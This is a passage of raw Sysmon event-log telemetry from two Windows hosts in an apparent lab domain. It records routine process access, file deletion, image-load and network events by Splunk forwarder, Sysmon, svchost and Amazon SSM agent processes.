15:07:21.716{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.716{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.716{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.716{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.716{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.715{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.715{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000056070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.214{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-062MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.079{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8498DCE5C488ED2FDB49C9277A640142,SHA256=645EAEB9DB37463AFD4E78A9C6A05BA18F5F76656C56BF558D9B42210AF1B33B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.998{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000056067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.998{7BD73061-74A8-613B-A20B-00000000F001}60484672C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000017927Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:22.763{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=456D8FDF567D3FB3FFBD2A126D2E6A5B,SHA256=50739BEBD56323A401BEB8EF5C5A7DFA6C125F50F571EE4CCFDEC6393D9839CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:22.780{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=813CF0196EB36C2DAF2C68C62DE95454,SHA256=65BEE5B4BEC8B481582AA004DCE471F5DF73023465CB00E334562EAE243DBBBD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:22.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5C4B9AAB9CC651E59B77ECFD633D449D,SHA256=E1F81DF087F539B48ACB6591F50A9D7E0CCD4A843D3BE7C24FE589D5467ECF93,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:22.245{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD5D59D90B8D95596BD713A8035C9D42,SHA256=0A1989AC097DD90EA0F84CF4B3E77DD1AFCA6ED44E8B4601875A2793BC9450A2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:23.814{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13F967F56C46B108E0C4C1A5D7F89491,SHA256=B1711DABAC28C15C567A955445E8E68D70DFE6F3868718101BD453981BF0BA0D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017929Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:21.365{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50392-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017928Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:23.778{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B870C856230D87E68DCCC7FC39011C98,SHA256=7850530A83F33224249AF14D93C4FD21E98184B383434EFB901447C39D20ADDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:24.829{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=350EDBD3D94D0F367EA7F5925431DE1A,SHA256=48841361886E178676B0B470EA6A64487A701299EA26953DA5A9D47FB16A9087,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017930Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:24.794{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78DAA07FC4A92BADDE1F371BD547CD33,SHA256=387ED285E680D25606397AF19385D252D5550B4BC6DA05534B11CD56BCB31FE1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:25.844{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=699D79C39B2443D621B14A274970C9A1,SHA256=79716C2A96D31CD69941BAB289565379F6D0CAAF81B91FA7DC787770D82A381C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017932Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:25.845{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED0110FF19F1B505530268AF1E52B4E4,SHA256=4DA2A17817AE87A70D0EB39B7783C9CCC84DE9480C2F8D918410A67BF75367E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017931Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:25.361{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-052MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:26.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3E12AF13287D93F11B63139D6BC4552,SHA256=0AC9C34A2CB716AFC8614502E297B621ECF1C3F7E5FC5F0A5E412206CBDC2D34,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017934Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:26.877{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CE2E93F300822FC6844D65AB0546935,SHA256=D51E8CB6C476FA77CC71708ED902F3854A5B4EAD332A05ABC93D946726EDFB5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017933Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:26.362{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-053MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017935Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:27.909{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8CC4AD9671194D311DF67CF42D934088,SHA256=11BCBC8673A1CE777EAFF5705AB91A071026A72EE63355847F66E0DF3CE87F01,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:27.911{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3ACD4950E4439D91855B03C28FF879BD,SHA256=83963AB805138BD85104FB9D655E4EAB78E925E1CE109EC8E677CE79907FCFA7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:24.470{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63162-false10.0.1.12-8000- 23542300x800000000000000056131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:28.912{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2C91AD7CFCBC087477162CBF5677300D,SHA256=7266BDC1E8B0674A9AE6D72B07375C078DDD45A3723A7173CC02859D1A8411C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017936Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:28.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A434FD5FAD9B2F4EABC02C43B80D777,SHA256=5C9351CD3ACFDE4A86EFC6273CB3ADBA29BCC5C351F2E22B0C23BDBC8A8F24B1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:29.942{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=593E608A157B50FFC3875D9F7EDE1899,SHA256=CAE288B0195095B062115E43EF06F7E551C21A356B2A2BF505F8B58970442999,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017938Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:29.955{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF5789C7DB764F860FD0A89E7410C2E3,SHA256=35C328F54D73CAA3E4A27CDDA8271E6841C4CBBF2443E908FDE5CBEDA3C00D10,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017937Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:26.541{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50393-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:30.027{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:31.011{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37776420B06208BCCFE86056D3A3D6C3,SHA256=1AED7012A4C95E6D9E340E7F53F549BA7F395D8C2AAF7B3BDA7A15DC7CDB5729,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017952Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B3-613B-3605-00000000F101}3928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017951Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017950Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017949Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017948Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 